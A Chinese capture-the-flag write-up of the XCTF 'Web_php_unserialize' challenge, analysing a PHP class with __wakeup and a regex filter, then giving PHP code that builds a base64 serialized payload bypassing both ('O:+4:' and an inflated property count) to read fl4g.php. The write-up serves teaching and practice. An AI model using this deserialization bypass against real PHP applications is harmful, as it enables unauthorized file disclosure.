攻防世界-引导-Web_php_unserialize

题目内容:

出现一段源代码,分段分析

第一部分如下

复制代码
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
 
?>

用php定义了一个对象类为 Demo,出现了三个方法:_construct(),_destruct(),_wakeup()

看到_wakeup()想到了序列化和反序列化。想到利用反序列化绕过_wakeup(),最后还有一个提示flag在fl4g.php中

再看后面的部分

第二部分如下

复制代码
<?php 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这边很明晰那看出使用了一个叫var的参数用来进行get方法,并且传后会进行base64进行解码,

接下去会对你穿的参数进行一个反序列化的判断,这边是等下要绕过的考虑点。所以题目比较明显的点出了需要通过反序列化操作来进行。

操作

通过编译器直接进行序列化操作

php 复制代码
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            $this->file = 'index.php'; 
        } 
    } 
}

$demo = new Demo('fl4g.php');
// 序列化对象
$payload = serialize($demo);
echo "原始序列化字符串: " . $payload . "\n";
// 1. 绕过__wakeup():修改属性数量
$payload = str_replace(':1:', ':2:', $payload);
// 2. 绕过正则检测:在类名长度前添加+号
$payload = str_replace('O:4:', 'O:+4:', $payload);
echo $payload . "\n";

?>

这边要注意的是,因为文中提到的成员变量是private类型所以在demo前和后需加入空字符串,

php 复制代码
<?php
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

$err=base64_encode($err);
echo $err;

?>

这边等后面出一个对序列化和反序列化比较详细的博客在讲一讲。

相关推荐
wuhanzhanhui2 小时前
视觉革命与主动安全:2026武汉汽车电子展会定档,看芯片如何定义驾驶
安全·汽车
王维同学3 小时前
[原创][Windows C++]LSA 认证、安全与通知包的注册表枚举
c++·windows·安全
TlSfoward4 小时前
抓包代理链路下的 TLS 指纹变化分析 TLSFOWARD抓包工具
数据库·爬虫·网络协议·搜索引擎·php
国科安芯6 小时前
星间光链路:AS32S601型抗辐射MCU在空间激光通信终端控制中的技术实现
服务器·网络·单片机·嵌入式硬件·物联网·安全·信息与通信
栩栩云生6 小时前
AI 写代码犯的错,早被写进了错题集
linux·安全·ai编程
huijingjituan7 小时前
新一代IM聊天软件|构建企业专属智能通讯生态
安全·实时互动·即时通讯·极光鸟·灰鲸
其实防守也摸鱼7 小时前
补天SRC新手入门指南:从0到1的漏洞挖掘之路
网络·python·学习·安全·web安全·数据挖掘·挖洞
—Miss. Z—7 小时前
计算机二级MySQL——简单应用题(存储过程&存储函数)
数据库·oracle·php
●VON8 小时前
鸿蒙 PC Markdown 编辑器内部隐私与安全评审
安全·华为·编辑器·harmonyos·鸿蒙
故乡de云8 小时前
AWS 添加付款方式失败排查清单:卡片、银行风控与账号状态逐项定位
开发语言·php